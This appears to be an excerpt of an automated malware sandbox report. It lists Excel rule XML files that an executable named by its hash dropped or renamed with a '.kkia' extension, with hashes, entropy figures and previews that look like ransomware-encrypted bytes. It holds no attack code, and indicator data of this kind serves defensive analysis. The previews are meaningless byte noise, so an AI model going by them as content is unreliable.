C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule100069v1.xml.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1136
Entropy (8bit):	7.8262424515318285
Encrypted:	false
SSDEEP:	24:I2wM1r778ppBv+3ooX4+ov0EY+BcyRaK5qtUMPMWD1wpWVQr7kbD:9Z7o832+ov9+nK5IUMEAD
MD5:	E3D0E7DB2D27DB25E37ADB939EEF08DC
SHA1:	967E35F5B3204A247AAB38F8F819EF2ED2428B69
SHA-256:	AEE10A1847130C5DA343D209D39206AF7FCF75CCBE101BC4FE01D749829BEBD4
SHA-512:	FB0697A9A4BE5F0B3250CBD1BD7965C7169CCD5DDBD6A079F66250EA5B6C018BEC02E525FCF8B790A47C510074D15C736D4CC373DC0A08B43009E908DF2B845E
Malicious:	false
Preview:	<?xml5.^...YL98..'=....H...3.9M.nl.;.\_....!.M....[E.i....L.0\.Uau....1z.....YP..?=..>...^.>..wG:.T..ea..."_{.r. ...V.,PF....t".x.Bkb..7uo..a..Eu.a"f...K0....].RW..Q.p.5:.....K.v.P.C0..m.gZ,W..I.u.........U:KY.....v&...a...1.<.U..S..9.0..:.......n.v..u...vm...Y.(^............4...N.T..C.lA.t.D.....n..$Q..$....7N...WO.9.....^t9..m..~J...9...~....w.b..+\|V.U.O.w...e....fv.p#D.:..@..B.2.1...@r1.....F...=[cZ..Q.-...?9.z.".. j..oc.#.s..4..`."X......w./!..?.l7c.v-x..\.!s...E..4#.o.6p9......F..Em..3_q.t........y........!._...Y.r.=.^..".....%.%....`&.0.a/Za..g..)T.4C.?.J....\9>._:E..]Y%....(.\|....<.c{.....Mj&g,.,.!.....e.1.E............Xt!....c".....\|I.......S.K.q.1=(...ED...v..`.R...%..E.y...qn...... ..0..~7.!.YU.7.$...EdT4..._.....=%...9.w....../......;.p...e......$..Ye....\f(...F.,.H...S..2}..Nv..Z..AfxU.2..H.....! .#r............Q.......V..TZq.x....iL.$P...r.e&.r._.U..v.^.m.`...........I..'..E..HX...3C..`t[Q..LK,}..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule100070v0.xml.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	744
Entropy (8bit):	7.661958030177533
Encrypted:	false
SSDEEP:	12:+eH36WO0LxdPnnwwFbr0In4KZanJvIdInn5wnWzPBipynGsIC3eO7Prgcii9a:+zTSPnnPFbr0InlaJvL5YDyGsIC3vjkX
MD5:	3746407BB93A28E5337042346D39C6CF
SHA1:	81B270AB73D7D3576DFF384EE5AF5116A3FF6E8E
SHA-256:	BEE891366E0DE5469FBDEB8EB9552C85E4DAD8DCBE24AD6467DD2091F8C25F37
SHA-512:	0E4AAAB1D680CF7ABDE928E6CC3D7C52399DE38E8E3D6C894F1894D75B962AA189EDA907BD7A5E8CFF0142A38860E57FFCEE535B7DA8CE568B3DDEC185BC8599
Malicious:	false
Preview:	<?xml.-.~...+....TnZ...0..7nR.w./pM...Q..D+...5J3../Z..T......sO.%@....M&yv..E.@!'.J........8....(......^.......8...Fq...TT..\5.%...G...).....;.....-..N..Wl...WX.K.\.........,.8P..w..fu...KK..p....B>....p...(;.~.+..hjs..<.4<.R,.!.k?...=..J}SqRg....C6(P-".r..CN...H..'.0v.\|sb..Z...:.Lo..I..(,.Zr...>.k^ .p.$.......U......m.......r-s..5...2...Wi;...p.&4Dz..{.p..f.....e.......(.c..i.\|.l+.....q....S.....4.z..q.3.)..4>.m.p.W.........`u..%.S}....js.-..*p.i..B...=X.O.0H...I...w..pZ..y.=.....u..pn.....c@.. .%C...w....{3....s.+W}.....i..2I..}.(...oU...l<~.l.&..J.... .p.%t....t.....t......g.z..&.LB)U.=.~u.<C`.J..yD...q..89."..i....\|DO..`...dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule100071v0.xml.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	750
Entropy (8bit):	7.667785480414661
Encrypted:	false
SSDEEP:	12:cpiTdK22HadMT1mFcF2n1NHf8OQtAREMpXiAAxqk3QTeqSJS4/MGYQPrgcii9a:cpnHaCpmFcy1N0OQAREQi1xnieqS8Yri
MD5:	3F9A4FB8ABE39104462F78D57DC3151F
SHA1:	A11E3F753BC0ADC33DE3E4319AD8DB0A2388D1C4
SHA-256:	0CB2A9BC766D8C244996FC8F39BE8DC937FF0071F43BFC6BBF6B1C832B35BB4D
SHA-512:	0F7FA18409B973C8F9D4E5BA93361D24D98F5768674606A10B4D9BD084A95EDA21A3D9E916282A51A9E7384A133607115DBCE879B155F592DFD4B4AE763CC739
Malicious:	false
Preview:	<?xmlg.RqE4..o...3..T..xc9..V.....?b...=.2<.O:,-Jgn..;.C3...<k.g.c.9y.....@.o............N..q.Z.JLbH....Vx..B.v.....Q.L...N...W?.@r{..Zp.i-o..E......+>u}e.).EC?.8/.L..0`..2....O....L0id.9.%....F~;......O.$\]p.eR..5....1$o.....M.K.Z.C}.....(.H....1d.W..N....3.b)..'..<.\.?.3..e.?y...u.GF.e,..g>.....z.+.....06A.....O[.<p.....8!7.%p=.s.`?..$.M.....R.;(.;a.gE.^~.Q...G.D...s...4......I.?.l.z.O.3~f-a\|.m]....'X.u.(.....K.B.'...<;m9.E.......tP.,........z.TO....\.E..K.\".(w..0e.....P-....O..._..z{..:..!..[..1._.,..Y.6.S...S>.>H1)a0.....3C.hI...w.Q3....L.5..~.sw../.."..ByN.V..&....D...........K[.6b..\.=.....(......cF.=G.....X+..g.... ...H/..dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule100074v0.xml.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	834
Entropy (8bit):	7.762414994487877
Encrypted:	false
SSDEEP:	12:pta/FK6RZnz7KpJturwkpESBBGpiRjseZlnXkxX/f1chPrgcii9a:pyfnzuPtu0PpiRj7nXqX/f1clkbD
MD5:	2EEF7877BA0E2A599CE02983E2A25401
SHA1:	AB1143752251C5F57B0F9E07802AF168161A763D
SHA-256:	C5EDA21676E8F3D51D46D52A48BADBF5F03DB08236E096A554F9708B78E26667
SHA-512:	63B90AFE207A825AEC8354A213E9CD3B560DFBD9F9F8FCA63B9CBA888F226F504B6DA4E196CA3A17AAFDCAEEAFCC436533B6EA8FBB34508D480A669962BB3600
Malicious:	false
Preview:	<?xml..[.Y.........".!8.nS.S}..j.Ky.....n(.....c>).A.uq.S.6k.!..S_......%....2...Rm.V....S.&D.(.W...}w.......t.r....b..B.1{C..%......5.1.z"......f.i.s...;...q.(+7.,..D4.r``.X..c.........!Q..U..j...P..!.)c.1Z..V..?.............h.)......z...n.F..]..;[.q.n.2?........P..,...O.=.5>a..?.h.Z_.@Vt.Ir(....Vp..F....._l+.....mf.:....hR..PZ,....D.Fv..\|5... ..nx.9.kT..I/....\....l.S..:...n.bz..,.Vw...tG....."0)i.....qb.K.g7..Z.S.C.!.wmV..Cc..p...].P.P...\.o{.9...B.E.W..;-.Y.1...%Mf6Fg).m:...O.Jr.b...2.dK....ww..K.3a.jI.....W..u.{r.{..^..[\.....6!.q....S.HG.g..........YD.c.....Og.x.....l.Dq...U....p.......3...;5k8D.5..{$\|.w..;....E..Y.....s.]^.=..I......u.~z_Z......dN.....:.M.Ev..C....._........."S.3&nhN.....+.]dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule100075v1.xml.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	920
Entropy (8bit):	7.691083924311496
Encrypted:	false
SSDEEP:	24:mGC+IFsK2jMXig7kKiQlXN/JtDV5F3FTkbD:mCYsBAofQlljFgD
MD5:	7D95E757F6057CB8DBCED09351104B3C
SHA1:	F6830D7B94FF3D82F6B71C2F3CB789778984AFA9
SHA-256:	377088CFEAB89F3E7691F4EC26C148E4C7BD34760252518D72058142590604ED
SHA-512:	63C403DF1B2F3981768126A8A38A4E2B01B10D9C409DB753CF87AC01B8157E5C1D03D6EDA26914F7545E40FCE910D1EDA3A14449FC068AA7A071CB89A1ADCBF4
Malicious:	false
Preview:	<?xml..eD.../..6..C5.m...w.......<.3$Q..m.(..]-d..%& ..?...\|m.\..._9.xH8...Z..81..W.".C.m.]0..H.e.N..\.w..m.Z......U..uN..\|...!...K:..\|...;....2.9..y.F.mF.../>=,".+.b...MO\|r!Q..I1r.A..u.=....Q...D..i..N..4.....&.l.KG..I....I.G.......................}@.~3 .u.1......`.,Jp..l~.o...O...3..E^.....=....Ra.-....,n6...,.3.=U@z..........w.6..=.j"..O8.8...(yE..H.....DA...z.M.T...A..zF........q./=-.....uG.;%..k.P.>..B......x[...w.~_....`...%...."'.4I^..2..j.'.,I.B.H..R..Q.....u...F..i.....7.MK.Ruk....(.F......O..Wh.;...Q..V.y..\|.....3....8.(~...4.1.0.@"D.F...h~............O.\|..7.x...QM.u....'.c....d.M=..T......0.......H4.f.Mi.K+D........Sr.}P.E...;I..d.w...G..k..u\|....Y7u..=........d4.....z.C/.A\|MQP-^.....,N.z.....I<...-...6.F.NL.D...f..,..f>?.s..#..9....>.x.s..\|.Ji.V....k..JA..n\V.L.>r@H90.D.Q`...8...dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule100076v1.xml.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	739
Entropy (8bit):	7.6974265449113215
Encrypted:	false
SSDEEP:	12:+G8iWHPK6maODcWWqTGYKuWGPP12rEBAuS/fayUchzmVJIarOwyVpDtijTQOTJGf:+N1KNaGcWWfRu/12wmb/f51zmVO2K2TW
MD5:	AE9C861A39F1D8539F109B60A1E0DA0A
SHA1:	B8BEF3200B933DC6E93AF49E3837A8FAEF2F8EF3
SHA-256:	C9D692233F3A0F027D9D4706B283F5A2D430BE6107B09A9BD98C5548E390C288
SHA-512:	D6853F8036E6C895D8BF62E51D90D931714249705D85DDA9761D252D10B429FC13E7E9646DD6E1382238C9F9CD387BAC9390514E1E3E453687F7F0BBB62E5A3F
Malicious:	false
Preview:	<?xml...b..(]1......T.6.._.Y....Yco......rw.u...U..b..t.V..U.QG9...\<3..jQ.......5>.[...cg.n...v~.<p.g....C.G7.n.Z....QU.3.M...V%&%?'....'.. ...9.m...Z...s.N......`H..o...;q...c.q.....a.d......../..D.u..P.?......0......POe....5.....^.FV...s.x...#....g<.-..5....U......&...W9.s=..\|...i.......5D#...&...3.~............Dr...q.e..-otq. ."..........@...0.eq...#^.........DM.,;$.2..HU...M[<.@-EeQ.2..gB%.L;.#O.........v....T .5,..VQ.b.....m.iV.).jPI..$K.....2.oC....S.....a.id...ilmG..Nd.P....9...6<$I.SoS..K..I...B-..,..A"..I...?.....\|......E\|oQdE..~..-.kK...E..XZ...7.v...kc..uo.D.p..9Ga........h......+\|....H...)..... .r..dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule100077v1.xml.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	830
Entropy (8bit):	7.7389737368592
Encrypted:	false
SSDEEP:	24:Yt/UUmammKGIDf6nIqCy1+Tjmk3N2uIkbD:wH4j60Sum2xFD
MD5:	AB5248075D0B45AA36A2A8DA2F882326
SHA1:	6786B80ADB59281B18ABCE3271502D8A740EF980
SHA-256:	A010C21B4654CED4D5091883D17B5BBAFAD71FE66E51CFD6DEE64711E9E1F3E4
SHA-512:	86427F882B7787AA3BE489825AC4BF4E517D6A61548F84DE01D34D659078BAC0249A70BDE62A4508967D80D0D7AAA2300DA379FBB1F957F9EC5E35F0895BBB40
Malicious:	false
Preview:	<?xmle..y......#oW...{.X0.}.aI..\CoV.4..k....~..)....cD..Ab9.@*".sorRA.j.m.....pc%J.>9!.m..F~oq.n`.F....r.Q.....lV..?@$d+.. .o..Zo...8........p..{...>...).m&.@........:..\|i....E......X....s....CW.YH>..)......h..p,..\`A.O......7..wVi.8...U...h.$.....G>6.M.p'[d...yOH.-zfy..9.......EI.m.t...#..>,. .W.X....H..s..^..\)...=(....}j..JD.s.g........F.^T.;z:V....0..JTL......r~.....s..6..b^[..11..+......w.au....GaheJH9..3.JN.c{2&<...8..ag&..S....M.N..?.g5.v.t........X..Ep...q....i.j....=.h......S.$:....B.[........+.q%...X>.2.t.A..<;...}.).C. $.........ReDA....u..8.....S3.CI..$1N.0......D..~.MR.t.p>:..)s...r...-..J7-.{.q\|>..i...N._...d,.n+0.\'.H......3\|.............\....._[=...=..S.....\.....\.c.B.=...-. 1.vS...dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule100078v1.xml.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	747
Entropy (8bit):	7.689256462900371
Encrypted:	false
SSDEEP:	12:YzRBlKLUQwCZgnygN64Gi+CaCeqxr0fCoZajAXFptHpniiQIZh+xUejPrgcii9a:GzQwhO0+CaqQftZSAXXtQicyeLkbD
MD5:	E8DF4576B3604E313AC5A107DC744A09
SHA1:	389A9E81F99879BB4E50D2C64A24416AD454A115
SHA-256:	095EBE21C5CC9DC8B6B81210F267CDD1D1A238B1FD946B9FC7ED6CE3E94CE8AB
SHA-512:	800B9A6B2EF949BCBB3243A37CE9D3541976A83EAB15963100BF218CC655493263125F6BB709BE6E142FF9E2744237DD07031448753D52EB0ACAB6B1966A6323
Malicious:	false
Preview:	<?xml....\|D....a..`.XX.....$....@ 6.......T4e.S...&.w..~.4bE5..(.... .&..t@..l-E'...3}m....l'8v0..O.-.:.M...Bz<.....@...\|w...r.._..'."%z.)....n...d?.g..T."o.oN.Y.\xDA...Bv~.:..E.\.{.....MY..V.pR....w.r......Q)..=....c.e..}.\|6.....K2#...a..:Zo....@....B.k]8..h.1...(..(A.J..k6'yi.zP.e..[../u.....Pr....Y.@q....r.4.-.#..: ..N..zI....A.Ls...-`..@4C.D....:gz......u.?.!.._.."............G`....x...\|0..f.A...kdc..`...V.vB....<...z..{j..,..W....K...{..t...b.p..8>.e.A[r.....-..5.r..a.".....9.[Y.#.`.=;......,Xr..c_=.H..,..A.8U..\|....Z...lD.4..C..).G...,?m[j........h.....P.fb.....kV.xap#..P..4b...r...........ON:x....IW..!..\|v=.H.u-`.dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule100079v1.xml.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	746
Entropy (8bit):	7.689540085731742
Encrypted:	false
SSDEEP:	12:ykgq2qux52bbbaRe1x2FAb5jai+iwDLbsUyY6Aztsr6G2dsr3CM2H3r/buQo1PrS:Fgq22bbWevwA0pfsUYWuosrSM2H/okbD
MD5:	A029EB59B73DEC6D225719A27D6EA46D
SHA1:	FE2A36E396B6C9C2EFA1D4049BF5D447CF4DFE51
SHA-256:	4EC6B07B6532B1FFB7B642813231E78A82FA41585507D3CC7C87EEFF183E7EA9
SHA-512:	B0B2859FBDD80CAC357E2F9D4F9057226493C2D59E2CB9599DDE0B7870DBAD97975C990C6AA31B6607AC489803BB7BAD79381E9B9DF33F63E7CA29C0FE638891
Malicious:	false
Preview:	<?xml#.....VH..&....v.D..T.G...Q{.(.j1#...-l.[O.X.m)..a.hc.OI..#z.Z.A.u.v.U.vM...K4D.`..[.....~%.Di...]'....j.C....DKT...._9.b.....N..........@1(F.g..kY..+w..xs.TT..o.6Z&[V..S`U.b.+....N.......1..<Sf....-Y.>4r....z.......G...Z.Z]...~.d..XF.9..r.)......`.G....n..co.( .x..s........q(...k...F.7...exR.v:.(.._...l.$z....L..bO(.b.7]!..cX...&..1.A.Y.[.......r.....s..s.7...f...#.......L.G..../X4aj....g_o.m..Z........AzI.$[.;=`.....uQ...."<O.u..t.L4jg..&%.....n..e.]....Z..8...._.w.C7.....9Pt%z.;....#.d-....*1........@!K.)..e.......E~...U..<;..U.d.q......`.l.......Hb..Z.&`#.(G.A.T?w.J...4....d...K..8...V.......C...l.`.....xdYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule100083v2.xml.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1015
Entropy (8bit):	7.761572836736885
Encrypted:	false
SSDEEP:	24:4hcyjB33we9eA8BsrANby2x/9s+IdTrq9bujXML77uWkbD:4hcwBwe4A8BUAN+2JrIdTrGe27ED
MD5:	BC6B2309C6B5257FED6505F66B5C87D6
SHA1:	1326E08FE0045EAE7AB5D4F8C4C0E3E440AAEBC9
SHA-256:	7B075D260F7DC8FB6DAAE75BB56E955EF5B638A98D4CDEBA159DFC8EF34FF0EC
SHA-512:	B04A80CB8B6AFB7C661CF9C52BD96502ECFCCB65CC0F9133C4DFA9AF76BDCBF631ECB1F7AD18E2A0C16509A1D42CAEC55CA59DF7EB7515126CEFD901604A4944
Malicious:	false
Preview:	<?xml.............1#H.....7P1.>%..A...DE..2=.#...".l%.wHt3_[.h...../.{.L.........f.p`...7ZN:.dl....&.D`.a..GJfv...B8...-....W].fs.....8.....@....s+`..../B.G\.-.....%....t.6...R...y..%..4B,%.. H..X......};$...\.....h.T...(..h...V...p.7.T..8.".k;.A.s.X0"C...B:yF.V..7.....`0...M.(..@.&.5NH.h...2m..........9..2..fm.n5.$n....-B. .T1v........p.9.]...m--.lk.A....0.YM......'....\|...X.......t..f..F........~I....p..t....t..q..$..\|%......)....;./...#;VZ..,e..4...$a.)..M...B........Iy.f...u....M{....(qd.$.%n.v3m8.E.J&..mX...%..y. ..?.?..&..=gt...J$..j........2.n.S.QOX.-...T...JL7..8`y....,.j...]v..o`..j..(....9..*.M..dHw_.qz..Uq.FK.....&\|....0.\|0@nr}.7..3.)l.y.......H.}N....J...N.(..i...__.G..?..[..pV2...^l.W.....\|./p.v:C.(.A.h..t.YD,z...4D=...U........Q%.)..u(.^dT.ST.l.....Ub...oj.....E...<.O...q..Y...[..5..`.%.%......cL..[^a..1......HC.......RSx.I.h..fsv......v.Tpy.y..c.#..yJ5.F....}..Yl.\|=.dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE8

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule100084v1.xml.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.719367470885421
Encrypted:	false
SSDEEP:	12:3lyddhe+lnY7GwBEnjsE2HE44/LrASxwuyLgmKc1Lw85x/lMNxTXtRrjmXbR0PrS:8Ho+lYPBEoiASxwui5wU/afBmXbRqkbD
MD5:	8BFBAD9848A51B4E4E654155D84583EC
SHA1:	9EF840FF78FD77454E0E7CCF40FF3EE4E505E049
SHA-256:	5ABB281C5B957A0D0FF8A13936957093D6D6B3724ABB6C4C895DF79C6619AA29
SHA-512:	E100E47055CF0B351CE57CC93379FE4BEE9C917686570B9B53FB0654EAF115C642E4C926ACE10F524956560C7526E022468D2000EB6351E6CD98332993C47FE1
Malicious:	false
Preview:	<?xml...X.....$e&..J.....Z.m..sS.....L..0..R.}n...T..[Z..j.eL...c....\W}...8.6...F9.Tf...t,.mL...w....Uo..........H.k,...x..#..#...a,A.f.O.Lfk..U....rxdQ........%)...#.P.m.b.G....P7.Nc....>.......l...).R.<p...A..]R.V..8.d../. ....sC.e..W.y(..T...^......R".L.....,;R...d..u./..Z....T.i.W..f.gV.k.r.##.YN.{..(W6.y..."....U.o.Ol.<....Z\|.oC......x.~6pqf.M..6...G:.....b....yC9..L....$.6....%....X%.P']..[n....5~.....A....YO@e.M...y.AhA`....uo..yG..(..w-.rs.S......p....z.i.Ov.=OZ.#.J....a.N!- ....L..f5Y....,4..C...1..4..F....]..E.h.........=..z.N................D.F......D.-. .K..f(..;.......U8.V..B!.hb...e..*.O...H.dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule100085v0.xml.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	755
Entropy (8bit):	7.669566901990063
Encrypted:	false
SSDEEP:	12:56Msy95qQxfU4rzeEkWdPIqFuROC9n/59idHzDJdnptEVduX3IKGFFMFPrgcii9a:gKUwU4eEkWhoRO0h9iFvudCZGzM5kbD
MD5:	131B6675D8619EBB2A701F72760B72D3
SHA1:	1307E6627591CF98A79931C2B0E2AB6FC5920673
SHA-256:	637F54E7246C0049DC9B6A6DDD259A5927ACADB8E5556C27556F742918E502B5
SHA-512:	404589A98843AD20011C2AAD361DE80E52733FF72CBFE7E3BAEFE9113BBC780987A76E641EA7BE8134B82AD1E15DECD48DB3A7032F31D0889539D24BC56E990C
Malicious:	false
Preview:	<?xml....7+\|.k..z(..#..@T....e.K....j1..>.`...G.e.m..K.k.oP?@........l.]..I.[{....i.2..Y.....z...4.6....7.Wbr...f?I...a.......UP.a.&.T.c......=.c...PO....x6R.....4.1M.j.h..h..ON..c.....].6..C...d.......E.....]I...d...&....^OI....<BJ..l..55.m(......9Y......./.%.=..o...u........z&.F..s....Wi...v47.6J....i...._.{_.qN...H.AC./..n.RSq...3w.Z.....f8..5\|.ZE..u}...ur..d....d...]......H.C.M..g.<..%..4$..<w..y..TcGT+./.....x...sG.e......_H\|.0qO.D.....0..\5.x. .....b.fl....'-_..Z5..P.pf.F.......0.W.,...4J.../..,..X...d.....uYZ..\..%......x.5....E..vR%.A.e.OM...\|X].^.o.$@.A....B.....M.^8E...._`.Uc..c\>.....q5M..'..^........[O..\...dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule100094v0.xml.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	791
Entropy (8bit):	7.709618442955351
Encrypted:	false
SSDEEP:	24:0ynjpSDHfUAoUzACYFhXfXx71R982MqPmCkbD:xnlCHfys0FhXP7R982MqSD
MD5:	5DF027E431797D1C5F7662F37805183F
SHA1:	4C4F050E6692B69068A1281CA069DC3164261BAB
SHA-256:	58E9BB24BA2327925C1CDC61DD13E2845500FDA187662F1C993DDAEF5B8BA99E
SHA-512:	891194476F5D6D77B33481C3052988F6A72707350A6B9285F592EFDB0C5FE76AF7661C63F4A01916DB1E07A1808C6ACA97954BE9D1D6FD04AEBA54E97277D89E
Malicious:	false
Preview:	<?xml\|Q..B.=.......(.Eo?%.!...i.#8...q9.@>....G.....i..=(.)N.G)0...x>.=._...E......e..@.J.ajx.o.....\A....I5...'.....ix......8..f..$.l...=...Y.a.os>n..g...,.S..(T.{...n..u..(.........a.rN3z...z........k..LE....0.#.we.@"..{E_W..x.....R,..kk."../.l...{..xk.#.../.....0p..[.EW..0.)...kUSl(...Or..R...Py..g.{.."n.i.....{y.......M............WWWW.........5".RX...X..Zy..'...{..........1. f.9.9.3..D..Gd....R..7......:s.]'U;..,$-. t.......pEs..2.l..>.bV.n.0X..zG^....qr.a._....B..-.....`.h.U.2.....K5Ag_0G..ej........ .H@A......<....=\|.t]?2..~EB.2...BN8.........i~....u._..Q...`[..\..7....b....z.ch]A+....0.@.g..@... b.0*..E.G..Z.........yKdv./b.+P..8...e.]`...b.8...0.F.......m..].1dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule1000v5.xml.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1928
Entropy (8bit):	7.905706497598956
Encrypted:	false
SSDEEP:	48:Or5LGm81ST0LDCWLCon2Iq1aA7Eb82/LPk1aD:UL2SgCTo81S82/LPk1y
MD5:	D861B0659484A542789B534F18ECE1D4
SHA1:	8A5F2C7A125B31B34C8569A8300F560BD0DB57F6
SHA-256:	2B877D780719B67F725C75A12AF1EF33679844F7735ACD4DFB02FDC108FEB4A6
SHA-512:	833E1C881A4752E69777821364CAAA351989278AE2E06263CBA8351A58C642703488361E2C685367C5DC018F8F4D8D4D62E48402CA5C1B650A740B7DFC23B694
Malicious:	false
Preview:	<?xmlf..........".g.+.IP.L..B>T....e..,..{.z.=.PHV........I....HK.#......I..]...,R.`.Y(....s.....t..0.....>.f.e"Q..]q,.....q..@...).<...>[.].K..K..].gw..1w.wh.RR....Ff.../V.%Q.._El.Z....&..i...j..k..:.<.?WZQiU..9...7.(..Z.{(;q..D.G..s(]7...7S..E..Mz..=....Ws.v......#......d.Z.z=.s.%.X..V....}....."..K.-..eN..ADW.B......H.\.U.$...c.t....sHF...........i.!..d'..qZ.!U.t(A.g.;.#p~..'.]/..\|:..o.._.X...L.d..J.T.pl.]..)...... .y]..........6..RX.....=b.(.........~".&.7......-"b..A{....Y Eb..u...u/...^E......?..M.......c.....")5@... -{9..NK..T..i.....HP..;.}....z....!.r..[..`.[(.6...u...r./k......Nrr..[n.u....Z.}....=4..c..~FE.s..g....!_r[0..40.\|hc.g....6.......v.z.Y.DB~.b()}.@...s..b..ed...>~`^.\g.X.oO;...Us........]..Zm........Y.....Y......N.<.g..-Rj..A...Y=....<....q.D....!..'.Q..i..\....6a.V.../....*....{@u......b-@..?-...Y?T....h../....b...l..1LO.,.'...E"..z"..1.9.....-..e...,.:z....<...t.!<0.a........cgcA....>.......tl=,c[

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule100104v2.xml.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1284
Entropy (8bit):	7.833741952147954
Encrypted:	false
SSDEEP:	24:JU3hVb9ediT7IpRpkCUNA410r4mmWENWSPdkE5IK96n1LdkbD:e3n5Ui+RpkCU+Ca4mDEUSPdkmc1LsD
MD5:	93F3FF7AF5BBF9BE2CDD65ADF7AA0937
SHA1:	75CB5F56E6ED27C1F3E06E4717AAF6AB3E31BF8C
SHA-256:	B83C6F0B3C8BB2D9F1EB239F5591B6C80952C41A5915274E221AB0326371CF4C
SHA-512:	FB2CACD73348FAE08E3E3AE1BA64BC1E42C93D7FED06E7316AFC44BC1243B6C84F9353CA593FAA54C4CD08F9354D0014A501BC690DD3F872AC5316544D921AFE
Malicious:	false
